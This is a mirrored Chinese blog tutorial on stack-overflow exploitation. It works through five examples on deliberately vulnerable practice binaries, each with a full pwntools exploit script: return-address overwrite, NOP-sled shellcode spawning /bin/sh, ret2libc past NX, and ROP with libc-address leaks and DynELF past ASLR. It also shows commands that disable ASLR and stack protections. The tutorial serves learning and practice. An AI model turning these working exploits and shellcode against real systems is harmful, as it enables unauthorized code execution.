3

二进制安全之栈溢出漏洞 | UltramanGaia's Blog

 2 years ago
source link: http://ultramangaia.github.io/blog/2018/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%AE%89%E5%85%A8%E4%B9%8B%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

程序的栈是从高地址向低地址增长的。
程序的堆是从低地址向高地址增长的。

EIP寄存器不能显式地通过指令修改值,可以通过jmp、call、ret隐式地修改。

x86架构用字母“e(extended)”作名称前缀,指示寄存器大小为32位;x86_64架构用字母“r”作名称前缀,指示各寄存器大小为64位

FP(栈帧指针寄存器)–>EBP寄存器,记录栈帧基地址,可以通过它来引用到局部变量和函数参数。

函数调用时入栈顺序为
实参N~1→主调函数返回地址→主调函数帧基指针EBP→被调函数局部变量1~N
x86
函数参数在函数返回地址的上方,如上图
x64
x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。
内存地址不能大于0x00007FFFFFFFFFFF,6个字节长度,否则会抛出异常。

栈溢出原理

程序向栈上的某个变量写入数据,而没有控制好写入的长度,导致可以超过该变量申请的长度而覆盖别的内存。
可导致程序崩溃甚至控制程序执行流程。

简单例子1

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

pattern_create

pattern_offset

算出偏移,然后,将地址覆盖为success的地址即可

from pwn import *
# context.log_level = "debug"
success_addr = 0x08048456
p = process("./stackoverflow1")
# print p32(success_addr)
payload =  "A"*24 + p32(success_addr)
p.sendline(payload)
p.interactive()    

简单例子2

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function(){
        char buf[128];
        read(STDIN_FILENO, buf, 256);
}

int main(int argc, char ** argv){

        vulnerable_function();
        write(STDOUT_FILENO, "Hello world\n", 13);

}
gcc -m32 -z  execstack -no-pie -fno-stack-protector -g  -o stackoverflow2 stackoverflow2.c

这道题目还是很有意思的,学习蒸米大佬的一步一步学 ROP 之 Linux_x86 篇

发现了点小问题,就是文中提到直接运行程序和用gdb调试程序时,buf地址是不相同的。

然后,我(问队里大佬)发现用pwntools的process启动的程序也是和直接运行程序的buf地址是不同的。

文中提到的方法是下面这个栈布局方式

[shellcode][“AAAAAAAAAAAAAA”….][ret]

但貌似shellcode的首地址还是比较难搞到的。

由于限制了输入最多只有256个byte,然后自然而然构造如下方式

["\x90\x90\x90..."][shellcode][ret]

\x90汇编代码是nop,则会有比较大的空间容易命中nop。(虽然前面提到buf地址不同,但相差不是太大)。

exp如下

from pwn import *
import pwnlib
context.log_level = "debug"
context.arch = "i386"

p = process("./stackoverflow2")
# p = remote("127.0.0.1",10001)
# pwnlib.gdb.attach(p)

ret_addr = 0xffffd260 + 0x30
# shellcode = asm(shellcraft.sh())

# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = "\x90" * (140 - len(shellcode)) + shellcode + p32(ret_addr)

p.sendline(payload)
p.interactive()

然后发现不行,问题在于esp地址。

我们知道,在ret的时候,esp指着的地址是ret_addr,然后执行nop、nop、nop一直执行到到压栈(压/bin/sh)的时候,就会把跟他相邻的shellcode给覆盖掉,所以不能一直执行下去。(shellcode不同,压栈的数据量可能不同,可以尽可能预留多一些)

然后,稍微改进下,

from pwn import *
import pwnlib
context.log_level = "debug"
context.arch = "i386"

p = process("./stackoverflow2")
# p = remote("127.0.0.1",10001)
# pwnlib.gdb.attach(p)

ret_addr = 0xffffd260 + 0x30
# shellcode = asm(shellcraft.sh())

# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

# context.terminal = ['tmux', 'splitw', '-v']
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# shellcode = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"
payload = "\x90" * (132 - len(shellcode)) + shellcode + "\x90"*8 + p32(ret_addr)
# payload = "\x90" * (100 - len(shellcode)) + shellcode + "\x90"*40 + p32(ret_addr)

#gdb.attach(p)
p.sendline(payload)
# print p.recv()
p.interactive()

简单例子3

Ret2libc – Bypass DEP 通过 ret2libc 绕过 DEP 防护

gcc -m32 -no-pie -fno-stack-protector -g  -o stackoverflow3 stackoverflow2.c

这里开启了NX,那栈上不能执行代码了。cat /proc/[pid]/maps可以查看得知stack上不能执行。

没开ASLR,所以,libc中地址是固定的。gdb 调试,p system找到system地址,find “/bin/sh”地址。

from pwn import *
import pwnlib
# context.log_level = "debug"
context.arch = "i386"
p = process("./stackoverflow3")
# p = remote("127.0.0.1",10001)
#  pwnlib.gdb.attach(p)

ret_addr =  0xffffd260   #not important
system_addr = 0xf7e0ec60 #0xf7578c60
binsh_addr = 0xf7f4d808  #0xf76b7808

# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

payload = "A"* 140 + p32(system_addr)+ p32(ret_addr) + p32(binsh_addr)

# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(p)
p.sendline(payload)
p.interactive()

这里我们可以分析一下,正常的运行system(“/bin/sh”)的流程是,先push “/bin/sh”,然后,push调用函数的返回地址,然后调用system。

嗯,所以,我们只需要模仿栈上的布局即可,所以有了

p32(system_addr)+ p32(ret_addr) + p32(binsh_addr)

简单例子4

ROP - Bypass DEP and ASLR 通过 ROP 绕过 DEP 和 ASLR 防护

gcc -m32 -no-pie -fno-stack-protector -o stackoverflow4 stackoverflow2.c
开启了ASLR和NX(DEP)。所以思路是要先泄露处libc中某些函数的地址,根据这些地址计算偏移,就可以定位到system地址和"/bin/sh"地址。
from pwn import *
import pwnlib

context.log_level = "debug"
context.arch = "i386"
context.terminal = ['tmux','splitw','-h']

p = process("./stackoverflow4")

libc = ELF("libc.so")
elf = ELF("./stackoverflow4")

plt_write = elf.symbols['write']
got_write = elf.got['write']
vulfun_addr = 0x8048526

print "plt_write = " + hex(plt_write)

payload1 = 'A' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(got_write) + p32(4)

p.recv(100)

# gdb.attach(p)

p.send(payload1)

write_addr = u32(p.recv(4))

system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))

payload2 = 'A' * 140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

p.send(payload2)

p.interactive()

简单例子 5

Memory Leak & DynELF – 在不获取目标libc.so的情况下进行ROP攻击

例子4中提到的方法,需要获取目标机器上面的libc.so,通过泄露函数地址来算偏移,进而确定system函数的地址,来绕过DEP和ASLR。

在不知道libc.so的情况下,我们可以通过Memory Leak来搜索内存,找到system()的地址。(当然,我们可以尝试泄露两个函数的地址,然后去libc database 里面查版本号)

gcc -m32 -no-pie -fno-stack-protector -o stackoverflow5 stackoverflow2.c

同样的编译方式,但是我们这次不使用libc.so

同样的题目,我们可以模仿前面构造的获取write函数地址,构造Memort Leak

payload = 'A' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(addr) + p32(4)

DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址

所以,我们需要讲/bin/sh字符串读入内存中。

写到.bss段中,.bss段是保存全局变量的值的,地址固定,可读可写。

通过readelf可以获得.bss段的地址

readelf -S ./stackoverflow5

需要注意的是,通过read读入”/bin/sh” 后,我们需要执行system函数,而,read是需要有三个参数的,即

payload = ‘A’*140 + p32(plt_read) + p32(vulfun_addr) + p32(0) + p32(bss_addr) + p32(8)

可以看到,调用完read后,如果要调用后面的函数,则需要pop pop pop ret来弹出那三个参数

可以用objdump找

objdump -d ./stackoverflow5 | grep -A 4 pop

容易找到地址0x8048609

from pwn import *

# context.log_level = "debug"
context.arch = "i386"
context.terminal = ['tmux','splitw','-h']

p = process("./stackoverflow5")

elf = ELF("./stackoverflow5")
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']

vulfun_addr = 0x080484e6
pppr_addr = 0x8048609
bss_addr = 0x0804a024

def leak(addr):
    payload = 'A' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(addr) + p32(4)
    p.send(payload)
    data = p.recv(4)
    print "%#x => %s"%(addr, (data or '').encode('hex'))
    return data

print "leak system addr"
d = DynELF(leak,elf=ELF("./stackoverflow5"))
system_addr = d.lookup('system','libc')
print "system_addr = " + hex(system_addr)

payload = "A" * 140 + p32(plt_read) + p32(pppr_addr) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)

# gdb.attach(p)
p.send(payload)
p.send("/bin/sh")

p.interactive()
linux 关闭地址随机化
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
原始值为2 

gcc
-z  execstack 关闭dep/nx
-fno-stack-protector 不开启堆栈溢出保护,即不生成canary
-no-pie  关闭PIE(Position Independent Executable),避免加载基址被打乱

https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/stack_intro/

https://segmentfault.com/a/1190000005888964

http://www.cnblogs.com/clover-toeic/p/3755401.html

http://www.cnblogs.com/clover-toeic/p/3756668.html

https://jaq.alibaba.com/community/art/show?articleid=473


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK